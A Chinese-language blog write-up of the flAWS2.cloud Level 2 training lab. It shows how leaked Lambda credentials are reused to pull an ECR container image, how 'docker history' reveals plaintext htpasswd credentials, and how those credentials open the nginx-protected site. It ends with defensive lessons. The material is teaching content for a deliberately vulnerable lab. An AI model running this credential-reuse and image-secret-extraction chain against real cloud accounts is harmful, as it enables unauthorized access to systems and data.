> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# flAWS2.cloud Level 2 Writeup — ECR 開放權限與 Docker Image 機敏資訊洩漏
- URL: https://taiwanding.com/flaws2-cloud-level-2-writeup-ecr-kai-fang-quan-xian-yu-docker-image-ji-min-zi-xun-xie-lou/
- Published: 2026-03-05T07:38:32.000Z
- Updated: 2026-07-15T02:50:28.000Z
- Author: Kevin Chen
- Tags: cloud, #flaws2.cloud

📚 系列文章 · flAWS2.cloud

1. [Level 1：Lambda 環境變數洩漏 & S3](https://taiwanding.com/flaws2-cloud-level-1-writeup-lambda-huan-jing-bian-shu-xie-lou-yu-s3-wei-shou-quan-cun-qu/)
2. ▸ Level 2：ECR 權限 & Docker Image 洩漏 （本篇）

靶場：flAWS2.cloud — Attacker Path   
難度：★★☆☆☆（初級）   
涉及服務：ECR (Elastic Container Registry)、ECS Fargate、nginx

## 0x00 題目概述

Level 2 的目標是一個跑在 container 上的網站 `http://container.target.flaws2.cloud/`，存取時回傳 `401 Authorization Required`，由 nginx 提供 HTTP Basic Auth 保護。題目提示 ECR repository 名稱為 `level2`。

```
$ curl -s http://container.target.flaws2.cloud/
<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>

```

## 0x01 偵察 — ECR Image 列舉

我們手上還有 Level 1 洩漏的 Lambda credentials（profile: `flaws2`），題目提示 ECR repository 叫 `level2`，直接列舉 image metadata：

```bash
$ aws ecr describe-images --repository-name level2 --region us-east-1 --profile flaws2
{
    "imageDetails": [
        {
            "registryId": "653711331788",
            "repositoryName": "level2",
            "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
            "imageTags": ["latest"],
            "imageSizeInBytes": 75937660,
            "imagePushedAt": "2018-11-27T11:34:16+08:00"
        }
    ]
}

```

成功取得 image 資訊，這代表 ECR 的權限設定允許我們用 Level 1 的 Lambda credentials 存取一個驗證 PIN 碼的 Lambda，為什麼能讀取 ECR？這就是過度授權的問題。

## 0x02 攻擊 — Pull Image 並分析 Layer

登入 ECR：

```bash
$ aws ecr get-login-password --region us-east-1 --profile flaws2 | \
  docker login --username AWS --password-stdin 653711331788.dkr.ecr.us-east-1.amazonaws.com
Login Succeeded

```

Pull image：

```bash
$ docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
...
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

```

Docker image 是分層（layer）架構，每一層對應 Dockerfile 中的一條指令，且不可變，即使後續 layer 刪除了檔案，歷史 layer 中的內容仍然可以被讀取。用 `docker history` 檢查所有歷史指令：

```bash
$ docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest --no-trunc

```

輸出中有一行極為關鍵：

```
/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

```

帳密直接以明文形式 bake 在 Dockerfile 的 RUN 指令中，Username 是 `flaws2`，Password 是 `secret_password`。

再用 `docker inspect` 確認環境變數：

```bash
$ docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest | grep -i -A5 "Env"
"Env": [
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],

```

環境變數中沒有額外的 secrets，但 layer history 已經足以取得帳密。

## 0x03 利用 — 登入取得 Level 3 入口

使用提取到的帳密存取目標網站：

```bash
$ curl -s http://flaws2:secret_password@container.target.flaws2.cloud/

```

成功登入，頁面顯示 Level 3 入口：

```
http://level3-redacted.flaws2.cloud

```

## 0x04 攻擊鏈總結

```
Level 1 洩漏的 Lambda Credentials（仍有效）
        ↓
利用過度授權存取 ECR describe-images
        ↓
登入 ECR 並 Pull 整個 Container Image
        ↓
docker history 分析 Layer 歷史
        ↓
發現 htpasswd 指令中的明文帳密
        ↓
登入 nginx Basic Auth → 取得 Level 3 入口

```

## 0x05 Lessons Learned

### 1\. ECR 權限控管不當

ECR repository 預設是 private，但可透過 resource-based policy 授予跨帳號或跨角色的存取權，本關中 Level 1 的 Lambda execution role 竟然能存取 ECR，顯然違反最小權限原則，正確做法是 ECR repository policy 應明確限制只有需要 pull image 的 ECS Task Role 或 CI/CD pipeline 才能存取，並定期用 `aws ecr get-repository-policy` 審計每個 repository 的權限。

### 2\. Docker Image 中的 Secrets 洩漏

這是真實世界中極為常見的問題，Docker image 的分層架構意味著每一條 RUN、COPY、ADD 指令都會產生一個永久的、不可變的 layer，即使後續 layer 執行 rm 刪除檔案，資料仍存在於歷史 layer 中，常見的洩漏模式包括 `RUN htpasswd` 直接寫入密碼、`COPY .env` 把環境變數檔案複製進 image、`COPY id_rsa` 複製 SSH private key、`ENV API_KEY=xxx` 用環境變數設定 secrets 等等，正確做法是永遠不要把 secrets 寫進 Dockerfile 或 image，使用 AWS Secrets Manager 或 SSM Parameter Store 在 container runtime 動態注入，或使用 Docker BuildKit 的 `--secret` flag 處理 build-time secrets。

### 3\. HTTP Basic Auth 搭配 Container 的風險

nginx 的 HTTP Basic Auth 搭配 .htpasswd 是最基本的存取控制，但如果 image 被拉走，攻擊者直接從 build history 就能拿到明文密碼，連 hash cracking 都不需要，在 container 化的環境中，認證機制應該與 image 分離，密碼應在 runtime 透過 secrets management 注入。